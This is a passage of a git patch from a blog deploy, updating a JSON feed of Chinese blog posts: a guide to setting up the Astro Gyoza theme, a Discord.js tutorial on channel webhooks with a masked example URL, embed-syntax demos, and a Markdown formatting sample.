From 5371a73a0a030ab9f654f3dc529ef576ce00798b Mon Sep 17 00:00:00 2001 From: xeonds Date: Tue, 15 Oct 2024 10:31:11 +0000 Subject: [PATCH] =?UTF-8?q?Deploying=20to=20web=20from=20=20@=20f5753c56d9?= =?UTF-8?q?91cd7b4d870d6ba7bd74550b31c295=20=F0=9F=9A=80?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- db.json | 2 +- index.json | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/db.json b/db.json index bed46f4..4d2abdf 100644 --- a/db.json +++ b/db.json @@ -1 +1 @@ -{"author":[{"name":"闪电豹猫的自留地","email":"Unknown","uri":"https://hhzm.win/","description":"这里是闪电豹猫的博客主站","article":[{"title":"Gyoza 使用指南","time":"2024-04-01T00:00:00Z","content":"\u003ch2\u003e前置条件\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003enode 版本 \u0026gt;= 18.18.0\u003c/li\u003e\n\u003cli\u003epnpm 版本 \u0026gt; 8.1.0\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e安装\u003c/h2\u003e\n\u003ch3\u003e克隆仓库\u003c/h3\u003e\n\u003cp\u003e登录 Github 账号,打开 \u003ca href=\"https://github.com/lxchapu/astro-gyoza\"\u003elxchapu/astro-gyoza\u003c/a\u003e,点击右上角的 Fork 按钮,将仓库克隆到你自己的账号下。\u003c/p\u003e\n\u003cp\u003e复制这个仓库的地址,打开终端,使用 \u003ccode\u003egit clone\u003c/code\u003e 命令将仓库克隆到本地。\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e本项目推荐使用 pnpm 作为你的包管理器,如果你还没有安装 pnpm,请先安装 pnpm。\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003e安装依赖\u003c/h3\u003e\n\u003cpre\u003e\u003ccode\u003ecd astro-gyoza\npnpm install\n\u003c/code\u003e\u003c/pre\u003e\n\u003ch3\u003e命令介绍\u003c/h3\u003e\n\u003cp\u003e本地运行\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003epnpm dev\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e打包静态文件\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003epnpm build\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e本地预览\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003epnpm preview\n\u003c/code\u003e\u003c/pre\u003e\n\u003ch3\u003e配置项\u003c/h3\u003e\n\u003cp\u003e本项目中的绝大部分配置都定义在 \u003ccode\u003esrc/config.json\u003c/code\u003e 文件中。\u003c/p\u003e\n\u003cp\u003e你应该首先将 \u003ccode\u003esite.url\u003c/code\u003e 修改成自己的域名,避免导航错误。\u003c/p\u003e\n\u003cp\u003e以下是配置项的说明:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e{\n \"site\": {\n \"url\": \"\", // 网站地址\n \"title\": \"\", // 网站标题\n \"description\": \"\", // 通用的网站描述 SEO\n \"keywords\": \"\", // 通用的网站关键词 SEO\n \"lang\": \"zh-CN\", // 网站的语言\n \"favicon\": \"\", // 浏览器图标,存放在 public 目录下\n \"appleTouchIcon\": \"\" // 苹果设备图标,存放在 public 目录下\n },\n \"author\": {\n \"name\": \"\", // 作者名称\n \"twitterId\": \"\", // 推特账号 ID,以 @ 开头,用于 Open Graph\n \"avatar\": \"\" // 作者头像地址\n },\n // 首页 Hero 组件\n \"hero\": {\n \"name\": \"\", // 显示的名称\n \"bio\": \"\", // 一句话介绍\n \"description\": \"\", // 补充描述\n // 社交账号\n \"socials\": [\n {\n \"name\": \"\", // 社交平台类型\n \"icon\": \"\", // 社交平台图标\n \"url\": \"\", // 链接\n \"color\": \"\" // 图标颜色\n }\n ],\n \"yiyan\": \"\" // 显示一言\n },\n \"color\": {\n // 强调色,请填写 16 进制颜色值。每次会从中随机取出一组\n \"accent\": [{ \"light\": \"\", \"dark\": \"\" }],\n // 背景色\n \"bg\": {\n \"primary\": { \"light\": \"\", \"dark\": \"\" },\n \"secondary\": { \"light\": \"\", \"dark\": \"\" }\n },\n // 文字颜色\n \"text\": {\n \"primary\": { \"light\": \"\", \"dark\": \"\" },\n \"secondary\": { \"light\": \"\", \"dark\": \"\" }\n },\n // 边框颜色\n \"border\": {\n \"primary\": { \"light\": \"\", \"dark\": \"\" }\n }\n },\n // 顶部导航栏\n \"menus\": [\n {\n \"name\": \"首页\",\n \"link\": \"/\",\n \"icon\": \"icon-pantone\"\n }\n ],\n \"posts\": {\n \"perPage\": 10 // 每一页显示的文章数量\n },\n \"footer\": {\n \"startTime\": \"\" // 博客网站开始时间 请使用 ISO 格式\n },\n // Waline 评论系统,前往 https://waline.js.org/ 查看\n \"waline\": {\n \"serverURL\": \"\"\n },\n // 赞助\n \"sponsor\": {\n \"wechat\": \"\" // 微信赞赏码图片地址\n },\n // 如果需要使用网站数据统计,将 enable 修改为 true,并填写对应的配置\n \"analytics\": {\n \"enable\": false,\n // https://analytics.google.com\n \"google\": {\n \"measurementId\": \"\"\n },\n // https://umami.is/docs\n \"umami\": {\n \"serverUrl\": \"\",\n \"websiteId\": \"\"\n },\n // https://clarity.microsoft.com/\n \"microsoftClarity\": {\n \"projectId\": \"\"\n }\n }\n}\n\u003c/code\u003e\u003c/pre\u003e\n\u003ch2\u003e部署\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003e这里只介绍了 Vercel,你当然可以选择其他平台例如:Cloudflare Pages 或你自己的服务器。\u003cbr /\u003e\n部署之前,确保你已经修改 \u003ccode\u003esite.url\u003c/code\u003e。\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003e部署到 Vercel\u003c/h3\u003e\n\u003cp\u003e登录 Vercel 账号,点击右上角的 Add new... 选择 Project。然后在 Import Git Repository 中选择刚刚 Fork 的仓库,点击 Import 按钮。\u003c/p\u003e\n\u003cp\u003e进入项目配置页面,直接点击 Deploy 按钮,静静等待部署完成就 👌 了。\u003c/p\u003e\n\u003cp\u003eVercel 会为你分配一个域名,你可以在项目设置中设置自定义域名,更多操作请参考 Vercel 文档。\u003c/p\u003e\u003chr /\u003e","url":"https://hhzm.win/posts/guide/"},{"title":"Bot in Discord with discord.js (17)","time":"2024-05-09T00:00:00Z","content":"\u003ch1\u003eChapter 20 - Webhook 钩子\u003c/h1\u003e\n\u003cp\u003eWebhook 是一种将消息发布到 Discord 频道的而无需使用 Discord 的省力方式。它不需要你有一个机器人账号或身份验证即可使用这个东西。和 Discord API 一样,Webhook 对于自动化程序来说是十分友好的。\u003c/p\u003e\n\u003cp\u003e创建和管理一个频道 Webhook 钩子是很轻松的,但是你不能直接修改或删除由 Webhook 发送的消息。\u003c/p\u003e\n\u003cp\u003e下面我们来讲如何创建一个 Webhook 钩子。\u003c/p\u003e\n\u003ch3\u003e手动创建一个 Webhook\u003c/h3\u003e\n\u003cp\u003e打开 Discord,打开服务器设置,左侧侧栏找到并点开 “整合”(Integeration),点击 Webhook,点击 “新 Webhook”,Discord 会新建一个 Webhook 给你。\u003c/p\u003e\n\u003cp\u003e然后在下面的列表里找到新建的 Webhook,你可以修改钩子的名称和作用的频道(只能选一个,如果需要作用到多个频道,请考虑使用多个钩子或使用机器人)。然后保存。\u003c/p\u003e\n\u003cp\u003e点击复制 Webhook URL,你就拿到了直接给作用频道发送消息的钩子地址。任何有了这个 URL 的人,都可以往对应频道里发送消息,不需要身份认证。所以,请妥善保存号这个 URL,若不慎泄露,请删除这个钩子。\u003c/p\u003e\n\u003cp\u003e修改一个已有 Webhook 的作用频道不会导致其 URL 的改变。\u003c/p\u003e\n\u003ch3\u003e钩子的格式?\u003c/h3\u003e\n\u003cp\u003eWebhook URL 形式一般如下:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003ehttps://discord.com/api/webhooks/112183042530477****/1KlxJ3nqTOb_8xPa5iPulgAUz1cX9XcZ157iJGQmiuP8Uqwr****_aeSj0z2pYp****\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e或\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003ehttps://ptb.discord.com/api/webhooks/112183042530477****/1KlxJ3nqTOb_8xPa5iPulgAUz1cX9XcZ157iJGQmiuP8Uqwr****_aeSj0z2pYp****\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e可以看到固定的格式:API Endpoint + 钩子 ID + 钩子 token\u003c/p\u003e\n\u003cp\u003e根据 Discord API,Webhook 的结构如下表:\u003c/p\u003e\n\u003ctable\u003e\n\u003cthead\u003e\n\u003ctr\u003e\n\u003cth\u003e域\u003c/th\u003e\n\u003cth\u003e类型\u003c/th\u003e\n\u003cth\u003e说明\u003c/th\u003e\n\u003c/tr\u003e\n\u003c/thead\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd\u003eid\u003c/td\u003e\n\u003ctd\u003esnowflake\u003c/td\u003e\n\u003ctd\u003eWebhook 的 ID\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003etype\u003c/td\u003e\n\u003ctd\u003einteger\u003c/td\u003e\n\u003ctd\u003eWebhook 的类型\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eguild_id?\u003c/td\u003e\n\u003ctd\u003e?snowflake\u003c/td\u003e\n\u003ctd\u003eWebhook 所在的服务器 ID(如果有的话)\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003echannel_id\u003c/td\u003e\n\u003ctd\u003e?snowflake\u003c/td\u003e\n\u003ctd\u003eWebhook 所在的频道 ID(如果有的话)\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003euser?\u003c/td\u003e\n\u003ctd\u003euser object\u003c/td\u003e\n\u003ctd\u003e创建该 Webhook 的用户的 ID (当使用 token 请求时,不会返回该 ID)\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003ename\u003c/td\u003e\n\u003ctd\u003e?string\u003c/td\u003e\n\u003ctd\u003e发送消息时展示的默认名字\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eavatar\u003c/td\u003e\n\u003ctd\u003e?string\u003c/td\u003e\n\u003ctd\u003e发送消息时展示的默认头像\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003etoken?\u003c/td\u003e\n\u003ctd\u003estring\u003c/td\u003e\n\u003ctd\u003eWebhook 的安全 token(为 Incoming Webhooks 而生)\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eapplication_id\u003c/td\u003e\n\u003ctd\u003e?snowflake\u003c/td\u003e\n\u003ctd\u003e创建该 Webhook 的 Bot 或 OAuth2 的 ID\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003esource_guild? *\u003c/td\u003e\n\u003ctd\u003epartial guild object\u003c/td\u003e\n\u003ctd\u003eWebhook 所在频道的服务器(注意返回类型,由 Channel Follower Webhooks 而生)\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003esource_channel? *\u003c/td\u003e\n\u003ctd\u003epartial channel object\u003c/td\u003e\n\u003ctd\u003eWebhook 所在频道(注意返回类型,为 Channel Follower Webhooks 而生)\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eurl?\u003c/td\u003e\n\u003ctd\u003estring\u003c/td\u003e\n\u003ctd\u003e执行 Webhook 的 URL (由 Webhooks OAuth2 流返回)\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\n\u003c/table\u003e\n\u003ch3\u003e拿到这个钩子 URL 后,怎么用?\u003c/h3\u003e\n\u003cp\u003e如果你是用户,可以在已经集成了 Discord Webhook 的平台,比如代码托管平台 Github,团队沟通平台 Slack粘贴钩子地址进去即可使用。\u003c/p\u003e\n\u003cp\u003e如果你是开发者,你可以选择直接对接 Discord API 来使用钩子,功能最全,更新最快,详见官方 API 文档。当然,咱们是 Discord.js 开发者啊,当然得介绍介绍 Discord.js 关于 Webhook 的那点儿支持啊哈哈。\u003c/p\u003e\n\u003cp\u003e在此之前,我们先来看看手动调 Discord Webhook API 的方法。\u003c/p\u003e\n\u003ch3\u003eDiscohook.org - 一个调试 Discord Webhook 的网站\u003c/h3\u003e\n\u003cp\u003e打开网站,在 \u003ccode\u003eWebhook URL\u003c/code\u003e 填入你的钩子 URL。我们可以看到 Webhook 可以发送很多东西,就行一个普通用户或一个 Bot 那样。\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003eContent:发送的消息内容,和我们在斜杠命令里的 \u003ccode\u003econtent\u003c/code\u003e 域一致,长度限制 2000 字符。\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eProfile:发送消息的自定义 Profile,其中:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eUsername:展示的消息发送者的用户名,可以随便填,若不填,则使用钩子的名字,长度限制 80 字符。\u003c/li\u003e\n\u003cli\u003eAvatar:展示的消息发送者的头像,可以随便填,若不填,则使用 Discord 默认头像。\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eThread:发送到的子区,其中:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eForum Thread Name:如果 Webhook 所使用的频道类型是 \u003ccode\u003eForum Channel\u003c/code\u003e,你必须提供这个名字,以供 Discord 创建这个名字的子区。\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eFlags:标志位,其中:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eSupress Embeds:隐藏链接嵌入。 这不能与丰富的嵌入(使用“添加嵌入”创建)结合使用。勾选此项将。。。。。。。。。。。\u003c/li\u003e\n\u003cli\u003eSuppress Notifications:在 \u003ccode\u003econtent\u003c/code\u003e 域中,如果你 @ 了用户或身份组,准确的说是你使用了任何的 mention,则是否向被 @ 的对象发送通知。勾选此项将不会向被 @ 的对象发送通知。\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eFiles:上传的文件,最大 25 MB。\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eEmbeds:嵌入式对象。我们在前面的文章中介绍过这个类型。对于一个 Embed,你可以设置的域由如下组成:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eAuthor:作者,其中:\n\u003cul\u003e\n\u003cli\u003eAuthor:作者名,最长 256 字符。\u003c/li\u003e\n\u003cli\u003eAuthor URL:作者链接,当点击作者名时,跳转到的 URL。\u003c/li\u003e\n\u003cli\u003eAuthor Icon URL:作者头像的 URL。\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eBody:\n\u003cul\u003e\n\u003cli\u003eTitle:标题,最长 256 字符。\u003c/li\u003e\n\u003cli\u003eDescription:内容,最长 4096 字符\u003c/li\u003e\n\u003cli\u003eURL:当点击标题时,跳转到的链接 URL。\u003c/li\u003e\n\u003cli\u003eColor:Embed 侧边彩条的颜色,默认为 HEX \u003ccode\u003e#202225\u003c/code\u003e ,推荐颜色 Blurple \u003ccode\u003e#5865F2\u003c/code\u003e 。\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eFields:表格域,其中对于每一个 Field,有:\n\u003cul\u003e\n\u003cli\u003eField Name:表格域题头,最长 256 字符。\u003c/li\u003e\n\u003cli\u003eField Value:表格域值,最长 1024 字符。\u003c/li\u003e\n\u003cli\u003eInline:勾选则该域是个内联域,允许最少连续两个表格域显示时排列在一行上;不勾选则该域在显示是,将独占一行。\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eImages:图片,其中:\n\u003cul\u003e\n\u003cli\u003eImage URLs:图片 URL,显示在 Description 的下方。当且仅当 \u003ccode\u003eEmbeds - Body - URL\u003c/code\u003e 存在是,你可以设置 4 个图片 URL。否则,只能设置 1 个图片 URL。\u003c/li\u003e\n\u003cli\u003eThumbnail URL:缩略图 URL,以小图形式显示在作者名以及标题的右侧。\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eFooter:脚底信息,其中:\n\u003cul\u003e\n\u003cli\u003eFooter:脚底文字,最长 2048 字符。\u003c/li\u003e\n\u003cli\u003eTimestamp:显示的时间戳,格式 \u003ccode\u003eYYYY-MM-DD hh:mm\u003c/code\u003e。\u003c/li\u003e\n\u003cli\u003eFooter Icon URL:脚底小图标 URL。\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eMessage Link:消息 ID。输入同频道内的某条消息的 ID 并点击旁边的 Load,将现成消息作为模板导入编辑器中。\u003cstrong\u003e此操作会覆盖编辑器里的所有数据。\u003c/strong\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e你还可以进一步对要发送的消息 JSON 数据进行高级编辑。点击 \u003ccode\u003eJSON Editor\u003c/code\u003e 按钮,可以看到完整的消息 JSON 数据以及报错提示(比如你点击添加了表格域但是没有设置表格域的题头)。在编辑器里,点击 \u003ccode\u003eCopy to Clipboard\u003c/code\u003e 复制到剪切板,点击 \u003ccode\u003eApply Changes\u003c/code\u003e 保存更改。\u003c/p\u003e\n\u003cp\u003e在这一切完毕后,你可以回到网页最上方,点击 Send 使用 Webhook 向频道里发送消息。\u003c/p\u003e\u003chr /\u003e","url":"https://hhzm.win/posts/bot-in-discord-17/"},{"title":"在文章中嵌入视频和代码","time":"2024-04-04T00:00:00Z","content":"\u003ch2\u003eCodepen\u003c/h2\u003e\n\u003cpre\u003e\u003ccode\u003e::codepen{#gOyLepE author=\"lxchapu\"}\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e::codepen{#gOyLepE author=\"lxchapu\"}\u003c/p\u003e\n\u003ch2\u003eYouTube\u003c/h2\u003e\n\u003cpre\u003e\u003ccode\u003e::youtube{#BuKft9LpL_0}\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e::youtube{#BuKft9LpL_0}\u003c/p\u003e\n\u003ch2\u003eBilibili\u003c/h2\u003e\n\u003cpre\u003e\u003ccode\u003e::bilibili{#BV1Mx4y1Y7pJ}\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e::bilibili{#BV1Mx4y1Y7pJ}\u003c/p\u003e\u003chr /\u003e","url":"https://hhzm.win/posts/embed/"},{"title":"Markdown 示例","time":"2024-04-01T00:00:00Z","content":"\u003cp\u003e下面是在 Astro 中编写 Markdown 内容时,可以使用的一些基本 Markdown 语法示例。\u003c/p\u003e\n\u003ch2\u003e标题\u003c/h2\u003e\n\u003cp\u003e你应该避免在 Markdown 正文中重复创建文章标题,因为文章标题会根据 \u003ccode\u003efrontmatter\u003c/code\u003e 中 \u003ccode\u003etitle\u003c/code\u003e 自动生成。\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e避免标题层级过深,一般到三级标题就够了。\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch1\u003e一级\u003c/h1\u003e\n\u003ch2\u003e二级\u003c/h2\u003e\n\u003ch3\u003e三级 \u003ccode\u003einline code\u003c/code\u003e\u003c/h3\u003e\n\u003ch4\u003e四级\u003c/h4\u003e\n\u003ch5\u003e五级\u003c/h5\u003e\n\u003ch6\u003e六级\u003c/h6\u003e\n\u003ch2\u003e段落\u003c/h2\u003e\n\u003cp\u003eXerum, quo qui aut unt expliquam qui dolut labo. Aque venitatiusda cum, voluptionse latur sitiae dolessi aut parist aut dollo enim qui voluptate ma dolestendit peritin re plis aut quas inctum laceat est volestemque commosa as cus endigna tectur, offic to cor sequas etum rerum idem sintibus eiur? Quianimin porecus evelectur, cum que nis nust voloribus ratem aut omnimi, sitatur? Quiatem. Nam, omnis sum am facea corem alique molestrunt et eos evelece arcillit ut aut eos eos nus, sin conecerem erum fuga. Ri oditatquam, ad quibus unda veliamenimin cusam et facea ipsamus es exerum sitate dolores editium rerore eost, temped molorro ratiae volorro te reribus dolorer sperchicium faceata tiustia prat.\u003c/p\u003e\n\u003cp\u003e使用行尾使用两个空格进行段落内的换行\u003c/p\u003e\n\u003cp\u003eAll work and no play makes Jack a dull boy.\u003cbr /\u003e\nAll work and no play makes Jack a dull boy.\u003c/p\u003e\n\u003ch2\u003e图片\u003c/h2\u003e\n\u003cp\u003e小尺寸的图片\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"https://picsum.photos/seed/picsum/250/400\" alt=\"图片描述\" /\u003e\u003c/p\u003e\n\u003cp\u003e大尺寸的图片\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"https://picsum.photos/seed/picsum/1200/900\" alt=\"图片描述\" /\u003e\u003c/p\u003e\n\u003cp\u003e带标题的图片\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"https://picsum.photos/seed/picsum/400/300\" alt=\"图片描述\" title=\"图片标题\" /\u003e\u003c/p\u003e\n\u003ch2\u003e强调\u003c/h2\u003e\n\u003cp\u003e这是\u003cstrong\u003e重要内容\u003c/strong\u003e,这是\u003cem\u003e次要内容\u003c/em\u003e\u003c/p\u003e\n\u003ch2\u003e删除线\u003c/h2\u003e\n\u003cp\u003e\u003cs\u003e这是一段被删除的文本。\u003c/s\u003e\u003c/p\u003e\n\u003ch2\u003e引用\u003c/h2\u003e\n\u003cp\u003eThe blockquote element represents content that is quoted from another source, optionally with a citation which must be within a \u003ccode\u003efooter\u003c/code\u003e or \u003ccode\u003ecite\u003c/code\u003e element, and optionally with in-line changes such as annotations and abbreviations.\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eTiam, ad mint andaepu dandae nostion secatur sequo quae.\u003cbr /\u003e\n\u003cstrong\u003eNote\u003c/strong\u003e that you can use \u003cem\u003eMarkdown syntax\u003c/em\u003e within a blockquote.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e嵌套的引用\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e引用\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e嵌套的引用\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e带脚标的引用\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eDon't communicate by sharing memory, share memory by communicating.\u0026lt;br\u0026gt;\n— \u0026lt;cite\u0026gt;Rob Pike[^1]\u0026lt;/cite\u0026gt;\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e[^1]: The above quote is excerpted from Rob Pike's \u003ca href=\"https://www.youtube.com/watch?v=PAAkCSZUG1c\"\u003etalk\u003c/a\u003e during Gopherfest, November 18, 2015.\u003c/p\u003e\n\u003ch2\u003e分割线\u003c/h2\u003e\n\u003chr /\u003e\n\u003ch2\u003e链接\u003c/h2\u003e\n\u003cp\u003e这是内部链接 \u003ca href=\"/posts/guide\"\u003eGyoza 使用指南\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e这是外部连接 \u003ca href=\"https://zh-hans.react.dev/\"\u003eReact \u003cstrong\u003e中文\u003c/strong\u003e文档\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e自动渲染成连接 \u003ca href=\"https://github.com\"\u003ehttps://github.com\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e邮箱地址 \u003ca href=\"mailto:mail@example.com\"\u003email@example.com\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003e表格\u003c/h2\u003e\n\u003cp\u003e设置单元格对齐\u003c/p\u003e\n\u003ctable\u003e\n\u003cthead\u003e\n\u003ctr\u003e\n\u003cth\u003eName\u003c/th\u003e\n\u003cth\u003eAge\u003c/th\u003e\n\u003cth\u003eFruit\u003c/th\u003e\n\u003c/tr\u003e\n\u003c/thead\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd\u003eBob\u003c/td\u003e\n\u003ctd\u003e27\u003c/td\u003e\n\u003ctd\u003eApple\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eAlice\u003c/td\u003e\n\u003ctd\u003e23\u003c/td\u003e\n\u003ctd\u003eBanana\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eJohn\u003c/td\u003e\n\u003ctd\u003e28\u003c/td\u003e\n\u003ctd\u003eOrange\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\n\u003c/table\u003e\n\u003cp\u003e支持行内 Markdown\u003c/p\u003e\n\u003ctable\u003e\n\u003cthead\u003e\n\u003ctr\u003e\n\u003cth\u003eItalics\u003c/th\u003e\n\u003cth\u003eBold\u003c/th\u003e\n\u003cth\u003eCode\u003c/th\u003e\n\u003c/tr\u003e\n\u003c/thead\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd\u003e\u003cem\u003eitalics\u003c/em\u003e\u003c/td\u003e\n\u003ctd\u003e\u003cstrong\u003ebold\u003c/strong\u003e\u003c/td\u003e\n\u003ctd\u003e\u003ccode\u003ecode\u003c/code\u003e\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\n\u003c/table\u003e\n\u003cp\u003e表格溢出\u003c/p\u003e\n\u003ctable\u003e\n\u003cthead\u003e\n\u003ctr\u003e\n\u003cth\u003eA\u003c/th\u003e\n\u003cth\u003eB\u003c/th\u003e\n\u003cth\u003eC\u003c/th\u003e\n\u003cth\u003eD\u003c/th\u003e\n\u003cth\u003eE\u003c/th\u003e\n\u003cth\u003eF\u003c/th\u003e\n\u003c/tr\u003e\n\u003c/thead\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd\u003eLorem ipsum dolor sit amet, consectetur adipiscing elit.\u003c/td\u003e\n\u003ctd\u003ePhasellus ultricies, sapien non euismod aliquam, dui ligula tincidunt odio, at accumsan nulla sapien eget ex.\u003c/td\u003e\n\u003ctd\u003eProin eleifend dictum ipsum, non euismod ipsum pulvinar et. Vivamus sollicitudin, quam in pulvinar aliquam, metus elit pretium purus\u003c/td\u003e\n\u003ctd\u003eProin sit amet velit nec enim imperdiet vehicula.\u003c/td\u003e\n\u003ctd\u003eUt bibendum vestibulum quam, eu egestas turpis gravida nec\u003c/td\u003e\n\u003ctd\u003eSed scelerisque nec turpis vel viverra. Vivamus vitae pretium sapien\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\n\u003c/table\u003e\n\u003ch2\u003e代码块\u003c/h2\u003e\n\u003ch3\u003eSyntax\u003c/h3\u003e\n\u003cp\u003ewe can use 3 backticks ``` in new line and write snippet and close with 3 backticks on new line and to highlight language specific syntac, write one word of language name after first 3 backticks, for eg. html, javascript, css, markdown, typescript, txt, bash\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e\u0026lt;!doctype html\u0026gt;\n\u0026lt;html lang=\"en\"\u0026gt;\n \u0026lt;head\u0026gt;\n \u0026lt;meta charset=\"utf-8\" /\u0026gt;\n \u0026lt;title\u0026gt;Example HTML5 Document\u0026lt;/title\u0026gt;\n \u0026lt;/head\u0026gt;\n \u0026lt;body\u0026gt;\n \u0026lt;p\u0026gt;Test\u0026lt;/p\u0026gt;\n \u0026lt;/body\u0026gt;\n\u0026lt;/html\u0026gt;\n\u003c/code\u003e\u003c/pre\u003e\n\u003cpre\u003e\u003ccode\u003econst var text = \"hello world\"\n\u003c/code\u003e\u003c/pre\u003e\n\u003ch2\u003eKaTeX 公式\u003c/h2\u003e\n\u003cp\u003e使用 \u003ccode\u003e$\u003c/code\u003e 符号包裹公式生成行内公式,例如:$E = mc^2$。\u003c/p\u003e\n\u003cp\u003e使用 \u003ccode\u003e$$\u003c/code\u003e 符号包裹公式来生成独立公式。例如:\u003c/p\u003e\n\u003cp\u003e$$\ne^{i\\pi} + 1 = 0\n$$\u003c/p\u003e\n\u003cp\u003e也可以使用代码块(\u003ccode\u003e```math\u003c/code\u003e)的方式:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e\\oint_{\\partial V} \\mathbf{E} \\cdot d\\mathbf{A} = \\frac{Q}{\\epsilon_0}\n\u003c/code\u003e\u003c/pre\u003e\n\u003ch2\u003eList Types\u003c/h2\u003e\n\u003ch3\u003eOrdered List\u003c/h3\u003e\n\u003ch4\u003eSyntax\u003c/h4\u003e\n\u003cpre\u003e\u003ccode\u003e1. First item\n2. Second item\n3. Third item\n\u003c/code\u003e\u003c/pre\u003e\n\u003ch4\u003eOutput\u003c/h4\u003e\n\u003col\u003e\n\u003cli\u003eFirst item\u003c/li\u003e\n\u003cli\u003eSecond item\u003c/li\u003e\n\u003cli\u003eThird item\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch3\u003eUnordered List\u003c/h3\u003e\n\u003ch4\u003eSyntax\u003c/h4\u003e\n\u003cpre\u003e\u003ccode\u003e- List item\n- Another item\n- And another item\n\u003c/code\u003e\u003c/pre\u003e\n\u003ch4\u003eOutput\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003eList item\u003c/li\u003e\n\u003cli\u003eAnother item\u003c/li\u003e\n\u003cli\u003eAnd another item\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eNested list\u003c/h3\u003e\n\u003ch4\u003eSyntax\u003c/h4\u003e\n\u003cpre\u003e\u003ccode\u003e- Fruit\n - Apple\n - Orange\n - Banana\n- Dairy\n - Milk\n - 